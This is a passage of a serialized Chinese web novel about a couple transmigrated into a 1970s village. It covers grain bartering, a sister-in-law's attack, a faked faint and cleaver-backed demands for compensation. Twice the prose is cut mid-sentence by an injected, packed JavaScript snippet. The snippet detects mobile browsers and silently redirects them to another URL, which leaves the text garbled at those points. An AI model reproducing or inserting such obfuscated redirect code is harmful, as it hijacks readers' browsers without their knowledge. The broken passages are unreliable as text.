玉兰婶:“那就好。”瞧向篮子里的蛇肉,犹豫了一下:“我家三个小子加上他们爹个头都大,吃得自然也不少,说实话也没太多粮食。 苏窈应:“这蛇肉也是自己进家来的,没花多少力气就逮到的,婶子看着匀点粮食和盐给应应急就成。” 玉兰婶子知道话这么说,但肯定不能太敷衍了,所以很为难。 现在这肉精贵,粮食也金贵得很。乡下人要是有二两肉票,都舍不得自己吃了,而是用来换粮食了。 只是最近这爷几个从早到晚累得不行,也都瘦了一圈,她瞧着也心疼。 而且这蛇肉比猪肉要补得多了,这看着有一斤左右蛇肉,也完全够一家人吃上一顿了。 琢磨了很久,她不大好意思说:“我只能拿得出一斤米,三斤玉米面,还有二两盐,你瞧行不?” 除了盐,这些粮食是家里所有人一天的伙食。 这米就不说了,但这一斤玉米面掺点菜也能有十个窝窝头,三斤三十个。 苗丫她娘省着吃,他们也是可以撑六七天了。 苏窈对这个时代也有些了解。农民可能把粮食看得比肉还要重,玉兰婶子能用这么多来给她换肉,已经是出乎她的意料了,所以她想都没想就说:“就按婶子说的来换。” 玉兰婶子松了一口气,说:“成,我去给你舀粮食。” 顿了一下,看到篮子里的马齿苋,猜到是咋回事,就说:“你这是来跟我换粮食,不怕人说,直接拿来就是了,不然你一会拿粮食回去,挨人说也没法解释。” 苏窈心里本来想着把马齿苋再带回去,这样别人以为她想讨好大队长,但没想到人不接受。 不过听玉兰婶子的话,应该是有更好的办法,问:“婶子有法子?” 玉兰婶子点头:“要不你先拿盐和半碗玉米面回去,就说借的,等发粮的时候再还。其他的粮食,等入夜了,再让咱家兴志给你送过去。” 玉兰口中的兴志,是她的二儿子。 苏窈应下:“那多谢婶子了。” “谢什么,我还要谢你呢,要是你这一整条蛇拿到县里去换粮,不知道能换多少呢。” 苏窈:“这不是天气热不经放么,再说四哥摔伤了,还有苗丫和禾子都要人照顾,县城又太远,我也不认路呀。” 玉兰婶子叹了一口气,说:“也是。” “得了,不说了,我先把粮给你,也好让你回去做饭。” 说着,她进屋舀了半碗玉米面出来。 搪瓷碗大,一碗鼓起来一些就是一斤左右,米则是七八分满是一斤。 玉兰婶子不知从哪找来的一张纸,折成三角锥形状,倒了大概二两盐进去,最后再把口给折好了。 她把蛇肉从篮子中拿出,再把东西放回去,说:“你赶紧回去做饭吧,这碗等晚上志兴去送粮食再顺道拿回来。” 苏窈“诶”了声,再次说了声“多谢婶子”,就带着夏苗出了大队长家。 才走 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玉兰婶子白了他一眼:“大概是怕别人说事,人偷偷拿来换的,我难道还让她拿几斤面回去呀?” 说到这,她就把用多少粮换的,又怎么送去的解释了一遍。 夏大队长点头:“也行。”目光落在蛇肉上:“要不匀点出来,用油爆炒,夜里我喊上老二来喝两口酒?” 玉兰婶子念道:“就这么点还匀什么,也费油……” 念了后,但琢磨着一年到头也没几次机会吃肉,也还是同意了:“只能匀这一段的一半,和豆子一块炒,不然两口就没了。” 夏大队长顿时咧嘴一笑:“行,我上工再和老二说。” 然后又问:“那剩下的打算怎么弄?” “还能怎么弄,当然是今晚炖蛇汤给大家补补。” 听见今晚吃肉,几个半大的孩子都馋了。 好一会,夏留芳看着蛇肉,忽然说:“也不知咋的,今天见到向东四哥家的四嫂,感觉和以前有点不一样了。” 玉兰婶子看了她一眼:“哪不一样?” 夏传芳想了想,说:“整个人好像亮堂了很多。” 她二哥顿时笑着调侃:“你这是看人家没直接来借粮,而是带东西来换的,所以才说人家亮堂了吧?” 夏传芳:“我是觉得以前和那嫂子说话,她都是头低低的不瞧人,今天竟然是抬着头看着我的眼睛说话的。” 玉兰婶子这么一听,好像还真是这么一回事。 不过一会就给出了合理的解释:“这说明什么,说明人都是会变的。她再不变得厉害点,娘仨还不被夏老四和他们家欺负死。” 夏传芳嘀咕道:“还不是因为向东四哥偷了自家的钱去给彩礼钱。乡下不是八块八就是十八块八,可李家卖女儿似的要五十块钱。” “那可是整整五十块钱呢,存一年才有可能存到的,有根叔家一大家子能给那嫂子好脸色才怪。” 玉兰婶子斥了一声,瞪了闺女一眼:“知道藏在心里就行了,别什么都往外说。” 夏传芳闭了嘴,却在心里腹诽这事她就算不说,整个生产队的人都是知道的。 平日里,李春华被夏老四还有老夏家欺负了,都没什么人帮忙,还不是因为大家伙都晓得这事,所以才不好帮。 9. 第九章 苏窈回去的时候,正是下工的时间,生产队里都是走动的人。 不少人都看到李春华手挎着个篮子,里边还放了半碗玉米面,也不知道她是去哪里弄的粮。 有人刚和她碰过面,又在回家路上碰见刚回来的夏家二嫂,就吆喝了一声:“向阳媳妇,你家老四的媳妇好像从家里拿了半碗玉米面。” 夏家二嫂长得高,心眼却很小。 自己八块八的彩礼钱,夏老四却偷拿了家里五十块去娶李春华,为这件事她还和夏老四干过架。 当时夏老四被逼急了拿了菜刀要砍她,要不是有人拦着,没准真砍了。 从那之后,她也不敢直接和夏老四作对,只能把所有的气都出到了李春华的头上。平时处处针对,自己的一家几口人的衣服,甚至也怂恿几个妯娌一块把衣服全扔给李春华一个人洗。 在李春华母女俩的吃喝上,全家人也都很默契。母女俩一顿却只有一碗没米的粥水和一个窝窝头,反正饿不死就行。 只有夏老四在家时,才会做做样子多给一个窝窝头。 五年过去了,夏二嫂还是对五十块钱的彩礼耿耿于怀,无时无刻不想着从夏老四夫妻里讨要这个钱。 所以当听到李春华从家里讨了粮食,登时瞪大了眼:“那李春华真的从家里拿了粮?!” “是不是从你家里拿的就不知道了,但确实是有半碗的玉米面。除了你们家,还能谁家会给她粮?” 夏二嫂听到这话,她把手里的草帽重重一掷,骂道:“好她个李春华,她彩礼要了家里那么多钱,分了家就过他们自个过,饿死也是他们家的事,凭啥还回家去要粮食!” “我找她去!”把地上的草帽捡起来,就往夏老四家跑去。 见人跑了,一旁的人说那个碎嘴的人:“万一那粮食不是从有粮家拿的呢?” 碎嘴的人一摊手:“我也没说一定是从有粮家拿的。” 见她这么无赖,一旁的人都皱起了眉头:“两家要是打起来了,最后发现粮是从别处来的,那两家都得来找你。” 中年妇女还是那么一副事不关己的表情:“找了又咋滴?关我什么事?” “你是忘了夏老四是个什么样的浑人了,别麻烦到家门了,还以为自己没啥事。”说着就走开了。 碎嘴的妇人呸了一声,说:“夏老四就是个无赖,借他粮只怕是有借无还。除了有粮家能接济,生产队里头家家户户都是刚够填饱肚子,谁家有余粮赊给无赖夏他们!” * 苏窈带着夏苗走得慢了一些,眼瞅着再转几个弯就要到家了,身后传来一声暴喝“李春华你给我站住!”,震耳欲聋的声音把苏窈喊得一激灵。 她这才转身看回去,就看见个三十岁左右,比她高了大概半个头的妇人好像来势汹汹地朝自己冲来。 来到自己跟前,也不过三秒,伸手就抢她的篮子。 抢劫?! 还在光天化日的抢劫?! 苏窈紧紧拽着篮子,惊喊:“你干什么!” 抢她篮子的妇女力气大得出奇,抢的时候,篮子提手刮得苏窈手腕辣疼辣疼的,尽管这样,她也不敢松手。 在物资匮乏的时代,抢粮就是抢命! 苏窈一边抢,一边急急与夏苗说:“苗丫快回去找你爹!” 抢了十来秒,苏窈认出了抢她粮的人,气道:“二嫂你这想干什么!” 夏二嫂龇牙咧嘴骂道:“还问我想干什么!你们夫妻俩都属耗子的是吧,一个做贼,一个无赖!” “我告诉你李春华,你要是不把玉米面还回来,你就别想走了!” “我的玉米面怎么就还回去,还给谁,还给你吗?!” 骂夏老四就算了,李春华有啥错,难道是她逼着夏老四去偷钱给自己的彩礼了? 李春华还巴不得嫁的人不是夏老四呢! 况且在老夏家,吃得比所有人都差,从来就没吃饱过肚子,还要当牛作马被所有人欺负。 李春华没有从中得过一分利益,更不是什么不是利益所得者,反而是个受害者。 所以那么多人凭啥骂她! 夏二嫂:“分家的时候就说过了,你们夫妻俩死在外头也别想拖累咱们家,也别想再回家拿一粒米,你凭啥回家讨粮,不还回来你就别想走!” 苏窈险些被拽倒,她气血也上了头:“我去大队长家借的粮,关你们什么事!还想抢粮,信不信我去告你?!” “我呸,想骗我松手,再把粮拿回去藏起来,没门!你想告就告,说破天你也得把粮还回来!”说着就用尽全身的力气去拽篮子。 苏窈手都快被拽脱臼了,疼得她直咬牙。 李春华身体弱,那夏二嫂身形彪悍,苏窈咬牙坚持着,同时也暗恼沈靳怎么还没来。 她转头就朝着围观的人说:“都有人抢粮了,还不来帮忙!” 围观的人都愣了,不知道咋回事,听到两人的话,就更懵了,所以这粮是哪来的? 但还是有婶子上前拦着,劝:“向阳媳妇你先松开,先问清楚再说。” 夏二嫂一声“呸”,“这是我家的事,滚一边去!”说着就用肩膀把人给用力地顶开了。 被推开的婶子顿时黑了脸,不信邪地上前阻拦。 有人阻拦,夏二嫂更来气了,用身子抵着那婶子,直接动手拽苏窈的头发,更用脚踹。 苏窈见人要扯她头发,忙空了只手去拦,这才抓住了夏二嫂的手,脚就被踢了一脚,吃痛的同时粮也被抢走了。 但夏二嫂一个人对两个人,一个用力过猛,抢是抢到了篮子,只是篮子里面的碗掉了出来,扣在了地上。 三个人都停了手,夏二嫂呆呆地看着掉到了泥地的粮食,双眼蓦地被气红了,瞪向苏窈:“你赔我粮食!” 怒气冲昏了头,朝着苏窈就是用力一堆。 苏窈已经躲开了,可一瞬间有了念头,动作慢了一步,还是被夏二嫂推到了肩头。 她也就顺着夏二嫂推她的动作,踉跄后退了几步,顺势就往后倒了下去。 弄撒了她的面,别就想善了。 苏窈为了摔得逼真一点,看着摔得还挺重的,但头却是最后才碰到地的。 真别说,这地上梆硬,磕得她的屁股和后背是真疼。 苏窈倒地就两眼一闭。 ——晕倒了。 夏二嫂看见人晕了,才知道后怕,也后悔。 她磕磕巴巴道:“我可没怎么用力推?!” 围观的人忙上前查看。 帮忙的婶子听到夏二嫂推卸责任的,就骂了起来:“我们都看见你推了!不仅推,还打了!” 话音才落,那头忽然响起了夏老四的声音:“怎么回事?” 听到夏老四的声音,夏二嫂身体猛然一僵。 她原本打算赶紧把粮抢回来,就回去的,谁知之前那么好欺负的李春华,这回这么犟! 想到夏老四那天不怕地不怕的性子,夏二嫂咽了咽口水 她没敢看夏老四,嚷道:“不怪我,谁让你们分家了,还回家里要粮的!” 扔了这么一句话,撒开腿就跑了。 别人朝着夏老四看去,就见他头上还包着纱布,脸色略白。 罕见的,夏老四手里抱夏禾,身边还跟着夏苗。 他们看见夏老四,都默默地从李春华身边挪开,生怕被讹。 也就只有婶子还扶着苏窈的头。 沈靳看到晕倒在地的苏窈,快步走了过去,把怀里的夏禾塞到了最近一个人怀里。 “?”那人没反应过来,怀里就多了个小孩,一脸懵。 夏苗看到晕倒在地的娘,也跑了过去,眼泪哗啦一下就落了下来,紧紧拽着她娘的衣服,声音颤抖哽咽:“娘你醒醒。” 听到夏苗的哭声,苏窈忽然生出了几分心疼,但还是忍着做戏。 不给老夏家一个教训,以后还是会继续作妖。 沈靳蹲下身来,轻拍了拍苏窈的脸,见她没反应,直接把人给抱了起来,正要把人抱到卫生所去,却发现头稳稳地靠着他的肩头,而不是像真晕那样无力地向下垂,心里也大概有了数。 在她搭肚子上的手,手指隔着一层薄衣服轻戳了他胸膛两下时,也印证了他的想法。 估计是想让他借着抢粮,还有她被推晕的事和老夏家闹。 苏窈刚听到沈靳的声音,顿时松了一口气。 沈靳混迹社会那么多年,能攒下万贯家财,肯定也不是什么好欺负的人,接下来交给他发挥,她放心! 担心沈靳看不出来她是装晕,所以他抱起她时,一只手自然垂落,另一只手还是搭在肚子上的,好方便悄悄戳他。 这个时代乡下的人顶多就只看过几次电影,没看过各大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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转身时,看了眼地上的玉米面,跟婶子说:“麻烦把面粉都装回碗里。” 听到夏老四会说“麻烦”两个字,婶子都惊了。 她愣愣点了点头。 玉米面撒在地上,不可避免的会掺了许多泥土沙子。 沈靳看向哭得没声,却满脸眼泪的夏苗,说:“你娘不会有事,你先看着弟弟,我把娘抱回去,听话。” 夏苗边哭边点头。 沈靳没有大喊大叫,也没半个字的粗话,却是一个指使一个准。 装晕的苏窈心下暗暗佩服。 沈靳抱着苏窈回去,步子还算平稳。 夏老四虽不是生产,但能在黑市看哨,体格就不会太差。他长了一米八多的高个,油水又足,力气也大着呢。 只是他这身体昨天才被人抬回来,今早又割了一堆的茅草,抱着人还真有点晕。 沈靳把人抱回了家,进了屋,苏窈就睁开了眼,从他怀抱下来。 也不扭捏,直接看着沈靳就说:“接下来靠你了。” 沈靳:“……” 她怎就笃定了他会配合她? 他默了一下,问:“你想要什么?” 苏窈早就想好了,说:“趁着他们心虚,要回自留地,再把撒了的玉米粉抢回来,” 苏窈说的是抢,就是知道老夏家没那么容易就还粮。 “另外,别轻易放过李春华二嫂,她以前可没少欺负李春华,就刚刚还踢我一脚,甚至抢篮子的时候,我的手被提手刮得破皮了一样,现在火辣辣的疼。” 苏窈把袖子捋了上来,果然看到了一片乌青。 再把裤脚拉了起来,在小腿肚上也有淡淡的乌青。 沈靳看了眼,眼神一沉。 这夏家二嫂确实很欺负人,太轻易揭过就会有麻烦。 沈靳向来秉持着能一次性解决的麻烦,就不能拖着。 苏窈看着乌青,也是脸色沉沉,琢磨了一下,说:“就说我伤了脚和头,不了活,让她给我顶一个月的工,每天要是没八个工分,就给我攒够来,她不答应,你就逮了他们家老母鸡,看他们家能不答应!” 沈靳点头:“行吧,就按照你说的,我现在去,你歇着。” 顿了一下,又说:“厨房的汤快炖好了,记得看会火。也仔细点外头的动静,熄了火后就回屋,别穿帮了。” 苏窈见他应得没有任何负担,就知道他心里有了算计,笑着点头:“明白,一定不拖沈总后腿!” 10. 第十章 沈靳刚出去,苏窈就想起带回来可不仅仅只有那半碗玉米面,还有盐呢! 她走到窗口喊了沈靳,道:“还有用纸包着的二两盐,你记得找回来?” 沈靳应了声:“好。” 苏窈想了想,多加了一句嘱咐:“不管怎么说,你还是小心点,可别被老夏家的欺负了。” 沈靳听到这句话,神色愣了愣。 苏窈:“怎了?” 沈靳摇了摇头:“我先去了。” 抬脚就朝着院子外。 他只是太久没听到过有人提醒他外出要小心,别被人欺负了。 从他外婆去世后,应该有十八/九年了吧。 * 夏老四从家里冷着脸出来,其他人都胆颤心惊的。 这人就是个混蛋玩意,被他胡搅蛮缠上,甩都甩不掉。 沈靳回到刚才抢粮的地方,拾起篮子,又找到了装盐的纸包。 把盐放进篮中,递给了夏苗:“回家照顾你娘。” 夏苗看向被婶婶抱在怀里的弟弟,问:“那弟弟呢?” 苏窈装晕,家里还熬着肉汤,虽然肉味没飘到外头来,但难免鼻子灵一点会闻出来。 沈靳以前想都没想过,自己什么山珍海味都吃过,有朝一日连吃口肉都要像做贼似的。 另外,她听夏苗描述,苏窈说是从大队长家借的粮,所以家里锅中肉不能暴露,家里就更不能有外人了。 他应:“弟弟太小,放在在家里没人照顾。” 除了家里不能有外人,再有他把孩子抱回去,这些人可就镇不住跑了。 抱着孩子的年轻媳妇马上说:“我可以帮忙照顾!” 沈靳看了眼她:“我和你不熟,没法子把媳妇孩子都交给你看着,所以就带着去。” 年轻媳妇:“……” 咋不熟了? 按辈分,他夏老四还要喊她一声堂嫂呢! 可这话她没敢说。 沈靳环顾了一眼,拿过被捡起来装回碗里的玉米面。 碗里的玉米面和泥土掺半,本来只有半碗,现在都差不多有一整碗了。 沈靳瞄了一眼,开口说:“走” 他率先走在前头,后头的人面面相觑。 其实除了忌惮夏老四之余,还有一点压都压不下的好奇心。 一个人跟上去了,第二个也紧随其后。 都想跟去瞧热闹。 夏老四凶神恶煞地走在前头,身后还跟了五六个人。 路上的人见着了,都悄摸摸地跟在身后,追问其他人发生什么事了。 看了个全过程的人,都绘声绘色地把夏二嫂抢粮,打人,还有李春华晕倒的事都给说了。 听了经过,有人忽然说起:“我刚看到李春华从大队长家巷子出来,篮子还揣着半碗玉米面呢。怎的,夏二嫂还以为是她家的?” “呀,还真是从大队长借的!这夏二嫂可没理了,这回说破天也是她错。” “可不,这回被夏老四逮到了把柄,还不得被拿捏死。” * 夏二嫂慌里慌张地跑回了家中。 夏老太看到她这个样,骂道:“慌成这个样,不知道的还以为是你做了贼,被人追呢。” 夏二嫂身体一僵,掉回头看向婆婆:“娘,今天中午,老四媳妇是不是来家里讨粮了?” 夏老太翻了个白眼:“我是吃饱撑了,还是你晒昏了头,觉得家里会借粮给她?” 听到这话,夏二嫂脸一白,骂道:“好她个苏翠兰,竟然骗我!” 夏老太微微眯眼:“骗你啥了,你又出去干了啥蠢事?” 夏二嫂心眼小,性子急,经常和生产队里的起口角。有时候她在外头惹了祸,她就像现在这样慌张地跑回家里,关上房门,人来了也不开。 夏二嫂眼神顿时闪躲了起来:“我没!” 说着就跑回了屋。 看她这个反应,夏老太还有什么不明白的! 夏老太拍腿肯定道:“你这糟心玩意肯定又和人吵了是不是!?” 夏二嫂躲回了屋子,甚至还上了锁,慌张地啃着指甲盖。 李春华的粮真是从大队长家借的?! 好她个李春华,当时怎就没说清楚! 夏老四肯定会来找她麻烦的,怎么办怎么办?! 夏二嫂慌得不知所措时,大队长夫妻就来了。 夏老太迎了上去,问:“大队长来这是有事?” 大队长一进门就冷着脸问:“你们向阳媳妇呢?!” 夏老太傻眼,先前二媳妇在外头闹口角的时候,大队长都没找上门来,这次怎地闹得这么严重?! “我家向阳媳妇干什么事了?” 听到大队长来了,吃着午饭的老夏头和几个儿子媳妇都放下碗筷从堂屋里出来了。 老夏头问:“这是咋了。” 玉兰婶子一瞪眼:“还问咋了!人李春华家里实在揭不开锅了,才来我这借了半碗玉米面。可你家向阳媳妇倒好,就是认定从家里拿的,不仅明着抢,还把人打晕了!” 玉兰婶子虽没亲眼看见,可经过却全听说了! 老夏家的人听到这话,都听懵了。 虽然他们苛刻李春华,可从来没打过人呀。 夏老太很快反应了过来,转身几个箭步就到了二媳妇的房门前,用力地拍门,开口大骂:“王桂芳你给我出来!你这个糟心玩意,天天不干正事,净给家里惹祸,我们老夏家容不下你这糟心玩意,能过就过,不能过就和老二离婚!” “那夏老四啥玩意你不知道?!你还上门找麻烦,你是活腻歪了,还是嫌家里不够乱!” 躲在屋子里头的夏二嫂愣是不敢出声。 夏老太那叫一个气:“你个死人,赶紧出来去给老四赔罪,等人来了,我也拦不住,就是你这扇门都拦不住!” 夏老太连生了五个儿子,一个闺女。 头一个儿子稀罕,第二个还是喜欢的,第三个已经开始有所忽视了,等到夏老四出生时,更是瞧不上儿子了。 到第五个孩子是个闺女,自然也是稀罕的。而老幺呢,是头一个儿子都十七八岁时的老来得子,也是当做眼珠子一样疼。 只有夏老四,家里是最忽略的。 等到发现夏老四长歪,已经开始小偷小摸时,他也已经十六七岁了。 夫妻俩加上老大都轮番棍棒打过这混账玩意,但就是改不正了。 他被打狠了,当夜就在院子里磨刀,把所有人都吓得一宿没睡。 更气人的事,家里没人给他张罗媳妇,他就自己张罗了。 竟偷了家里五十块当彩礼钱,娶了个不值当的媳妇回来。 家里老头子给他打了一顿,老二媳妇冲上去干架,虽然没几下就被踢倒了,但老四还是拿刀追着要砍她。 那一回真的是把人吓得够呛。 那混子要是真的吃了牢饭,家里头的人甚至都觉得是好事,但偏偏盼了好些年头,这混子愣是没被抓。 家里就没人敢惹他,可这王桂芳好好地去惹这混子干什么! 大队长大喝一声:“王桂芳你要是再不出来,我就把你今天的所作所为上报上去,让你去农场劳改去!” 屋里头很快传出夏二嫂哆哆嗦嗦的声音:“都是误会,要怪就怪李春华她自己没解释清楚让我误会了,她被我打也是活该。而且我就轻轻一推,她就昏倒了,谁知道她昏倒是不是装的!” 事到临头竟然还狡辩,大队长也是被这糟心玩意气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278802|166736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得脸红脖子粗。 玉兰婶子骂道:“人没解释吗?分明就说了,你不但不信,还打人,你到这个时候还狡辩!真等夏老四来了,看你……” 声音在半敞的院门被踢开后,截然而止。 王桂芳的话,跟来的人都听了全。 这脸皮子可真厚。 老夏家看到老四,都忙退到了角落,老大,老三两家家子的人都撇清关系道:“老二媳妇做的,可与我们都没关系。” 他们都看向了夏老二。 夏老二也是退了几步:“那是王桂芳做的事,我也是刚知道的。” 沈靳没说话,端着一碗玉米掺泥的面就进了厨房。 所有人都看着他的举动。 老夏头夫妻俩不知想到了什么,赶忙进了厨房。 有好些人堵在门口,扒着窗口看。 接着大家伙就见夏老四把碗里的玉米面倒进了厨房的盆里。 就着桶里直接就洗了碗,再用他身上的衣服擦干净水渍,然后拿了砧板上的菜刀。 看到夏老四拿了菜刀,所有人倒抽了一口气,厨房里头的被吓得退了好几步。 大队长急了,要是在他眼皮子底下闹出人命,他这大队长不仅被撤,还要负责呢! 急急喊道:“夏向东你想干什么,还不把刀放下!” 沈靳说:“放心,我不砍人。” 不砍你拿刀干什么?! 大队长的心都提到了嗓子眼了。 屋子头的夏二嫂听到夏老四拿刀了,顿时又想起了好几年前的事,脸上顿时没了血色,嘴唇哆哆嗦嗦的打着颤。 厨房那头,沈靳当着众人的面砸开了放粮食的壁柜锁。 “你干什么动我的粮柜?!”夏老太急得要冲上去。 沈靳转身看向夏老太,亮了亮菜刀:“你家二媳妇把我家的玉米面撒了,我把旧的送来了,再换新的,不过分吧?” 众人心道这哪里是来换新的,分明就像是土匪来抢粮。 夏老太颤颤看着刀子,还剩下两步,怎么也不敢上前了,甚至默默往后退了几步。 她看着壁柜里粮食,说:“是王桂芳弄撒的,你要换粮找她去呀,嚯嚯你亲爹亲娘算怎么回事!” 沈靳轻嗤了一声:“我可没你们这样的亲爹亲娘,从我七八岁懂事起,就把我支出去挑水砍柴,一大家子躲在家吃肉,就让我喝点粥水,吃馊了的窝窝头。” 被当着众人的面指出偏心的事,老夏头老脸一红,大声道:“你有事说事,胡吣什么!” “胡吣?那再说一件事,兄弟几个都上了初中,五妹六弟甚至还上了高中,可我呢?念到三年级就让我回来种田,还和别人说我不想念了?是我不想念吗,是你们觉得费钱,家里还得有人干活。” 众人听了这话,再看老夏头和夏老太的眼神,有些意味深长。 也难怪夏老四这么反骨,原来是有迹可循的。 沈靳把那夏老四憋了十几年的话说了出来,然后翻找了一下壁橱里的粮食,找到了玉米面,径直舀了满满一碗。 夏老太看得眼睛都快冒血了:“用一碗掺了泥土的玉米面就想换一整碗的玉米面,你这王八羔子太黑了!” 沈靳看向大队长:“我要点赔偿,不过分吧?” 大队长愣了一下,见他手上还有刀子,忙安抚应道:“一点都不过分。” 应话后,大队长忽然发现今天的沈靳没以往的那股张牙舞爪,上蹿下跳的疯劲。而是有条有理,不像是要砍人的样子,就仅仅是讨债的。 可即便没那股疯劲,身上那股子沉稳冷厉的气息却还是很唬人的。 沈靳环顾了老夏家的人,说:“粮的事情解决了,就说说你们家老二媳妇把我媳妇被打晕的事吧。” 11. 第十一章 “粮的事情解决了,就说说你们家老二媳妇把我媳妇打晕了的事吧。” 瞧热闹的人都心说——他们就知道这事没完! 沈靳左手端着一碗玉米面,右手拿着菜刀出了厨房,可没人敢拦他。 就是做爹娘的老夏头和夏老太都不敢拦。 沈靳依着夏老四的记忆,走到了夏老二的屋子外头,忽然抬脚就是往门一踹。 第一脚是警告躲在门后的人。 紧接着极重地第二脚。 这个年代的门几乎都是木门,相对薄一些,而且锁也是简单的插销。 沈靳这一脚踢得重,插销直接就废了。 伴随着“呯”的一声巨响,是屋子里头夏二嫂尖锐的尖叫声。 门被踢开了,就是门边上下两个铰链都被踹掉了一个,使地整扇门都摇摇欲坠。 他的举动吓傻了大部分的人,最严重的则是屋子里头,拿着个板凳挡在面前,瑟瑟发抖的王桂芳。 王桂芳看到他手上的菜刀,抖得更厉害了,脸上更是白得没了半点血色。 “夏向阳,你还不快来救你媳妇!” 夏二嫂朝外头崩溃大声喊着。 夏向阳躲在外头,心道就老四这拿着菜刀发疯要砍人的架势,他哪里敢去救! 大概是太吓人了,院子里头小一点的孩子都哭得厉害。 哭声和杂七杂八的劝说声,吵得很。 玉兰婶子劝:“这次是你家二嫂做得不厚道,向东你想要什么就说,婶子和叔都帮你,你可千万别做傻事,要坐牢的!” 沈靳盯着抖厉害打人的王春芳,说:“我媳妇被打晕了,也不知道有没有伤到脑子,我总得要点赔偿费和营养费吧?” 大队长:“行行行,你要多少,只要不过分,叔也帮你讨。” 沈靳:“不多,我就要五块钱,扣了这修门的五毛钱,我就要四块五的医药费和营养费,不过分吧?” 大队长松了一口气,这五块钱还真不过分,按照夏老二的家底,能拿得出来。 他大喊了一声:“夏向阳你给我进来!” 夏老二在外头不肯进,大声道:“我没钱,你气不过就把那婆娘砍了吧!” 沈靳看向大队长:“你看,我都没要多,他们也不肯给。” 王桂芳听到自己丈夫的话,瞪大了眼:“夏向阳你没良心!” “你闯的祸,凭啥老子给你填窟窿!”夏向阳也回道。 沈靳忽然笑了笑:“不给也没事,我瞧着橱柜里粮食也不少,我一会拿粮去抵。” 老夏头和夏老太几乎是同时脱口而出:“不行!” 老夏头看向老二,骂道:“你那糟心媳妇闯的货,你们赶紧赔了钱,让老四走!” 老二哭穷:“我哪来这么多钱,爹你要是怕老四砍人,你就先给垫上吧。” “滚犊子!那是你亲媳妇!” 沈靳看王桂芳:“都没人帮你,又不给粮不给钱,那怎么办呢?” 他朝王桂芳走去了几步,还不经意地晃了晃手中的菜刀。 大队长:“……” 真当他不存在的吗,他的威严呢! 王桂芳看着刀子惊恐道:“我有,我有!” 外头的夏向阳听到这话,骂道:“你个婆娘,老子干死干活才存下那么点钱,容易吗!” 王桂芳也不心虚,说:“就你干死干活,我就没干活了?!” 她盯着夏老四,慢慢地挪到了大红箱子旁。 打开箱子,一个手拿着板凳,一个手伸进箱子里头胡乱摸索。 不一会就掏出了一块报纸叠的钱包。她放下了板凳,颤抖着手翻开钱包。 挤在门口的生产队员,有好些个都觉得这一幕大快人心。 这王桂芳也真是不长记性,不知道被拱火多少次,一拱火一个准。 几年前就被夏老四拿刀向过,现在还没学乖,也真是不记打。 也就只有这夏老四能治得了她,果然恶人还需恶人磨。 王桂芳哆哆嗦嗦地数了整四块五,有分的有毛的,最大的就五毛钱。 抓着一把钱在手中,愣是不敢过去,沈靳走一步她退一步。还是玉兰婶子看不过眼了,直接上前拿了钱,递给了沈靳。 沈靳接过,数了数,数目没错。 把钱放进了口袋,他又说:“这只能算营养费,还有一笔账没算。” 夏老二一听,险些没吐血。 大队长也是眉头一挑,忍着暴脾气,斩钉截铁的问:“还要啥!说!” 沈靳:“我媳妇不久才被人从地里抬回来,身体本来就不好,这么一晕,要是再不休息,半条命就没了。但现在家里就靠她一个人挣工分,要是她不上工,我们全家人都得吃西北风。” 大队长:“所以呢?” 大队长心道他个大男人不上工,还让自己媳妇一个人挣工分养家,也好意思说出来。 沈靳看向王桂芳:“她替我媳妇上工一个月,每天必须满八个公分,不满就继续。等她上满工,这事就当揭过了。不然,这事肯定没完。” 大队长:“没别的了?” 沈靳微微抬头:“我又不是无赖。” 一众人听到这话,都想朝他吐一口唾沫。 他还不无赖,还有谁比他更无赖的!? 大队长看向王桂芳,说:“这事确实是你的错,你得替向东媳妇顶工。” 王桂芳一瞪眼:“我不是赔钱了吗?!” 沈靳:“不干也行,大不了我天天找老二聊聊天,找你儿子叙叙叔侄的感情。” 威胁,一定是威胁! 王桂芳带着求救的眼神看向大队长:“大队长,夏老四他太欺负人了,他这不明摆着威胁人么!” 大队长眼一瞪:“是谁先欺负人的?哦,只能是你欺负人,就不准别人欺负你了?!” “抢粮不算,还打人,人夏老四就要你五块钱,让你帮上工,没打你都算是好的了。” 夏老二也是怂,真怕老四这个混子变着法来揍自己。扒在窗口处急道:“你个婆娘,不就上工一个月吗,还不快应了!” 以前夏老二就有点怵这老四,后来这家伙学了一身打架的本事,打起来就跟不要命似的。 他们三个兄弟联手都压制不住这个混蛋玩意,后来有一回打到狠了,他还在床上躺了几天,那时也是真的知道怕了。 大队长见夏老二都没意见,就说:“你不提,我就把你上个月的工分全划到李春华那里了。” 王桂芳想说凭什么,但难得清醒一回,知道没人帮她,也就没开口。她肠子都快悔青了,她就不应该听人瞎说的! 她咬牙应:“替就替!” 大队长顿时松了一口气,看向夏老四:“叔给你盯着,她要是不积极,叔就把工分划到你媳妇的名字下,你看行不?” 沈靳满意地点了点头。 大队长紧跟着说:“那可以把菜刀给我了吧?” 沈靳往菜刀看了一眼,好像才发现自己一直拿着菜刀一样,惊诧道:“我怎还拿着刀?” 大队长:…… 他咬着牙上前,小心翼翼地把他手中的菜刀拿到了自己的手上。 拿到手中后,大队长才教训道:“有什么委屈直接跟叔说,叔给你主持公道,但再有下回拿菜刀吓唬人,叔一定报公安!你要是不小心伤了人,真吃了牢饭,你让你媳妇你闺女,你儿子咋办!” 沈靳微一挑眉,夏老四对家庭不负责,跟个死人一样,有他没他都没有太大的区别。 况且,夏老四的原生家庭教会他的,只有自私自利。他可不是会想着妻子儿女的人。 沈靳:“今天多谢大队长了,往后只要老夏家不惹我,我也不会再惹事,要是他们敢继续欺负我媳妇孩子,那就怪不了我了。” 